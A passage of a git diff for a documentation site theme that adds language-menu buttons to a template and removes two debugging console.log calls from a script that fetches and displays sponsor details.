+                                        <button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
+                                        <button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
+                                        <button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
+                                        <button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
+                                        <button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
+                                    </div>
+                                </div>
+                            </div>
 
                             {{#if print_enable}}
                             <a href="{{ path_to_root }}print.html" title="Print this book" aria-label="Print this book">
diff --git a/theme/sponsor.js b/theme/sponsor.js
index 65f157364..5b3f66804 100644
--- a/theme/sponsor.js
+++ b/theme/sponsor.js
@@ -19,13 +19,11 @@
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {
-        console.log(response)
         throw new Error(`Response status: ${response.status}`)
       }
 
       const json = await response.json()
       var sponsor = json.sponsor
-      console.log("boop", sponsor)
       sponsorImg.src = sponsor.image_url
       sponsorTitle.textContent = sponsor.name
       sponsorDescription.innerHTML = sponsor.description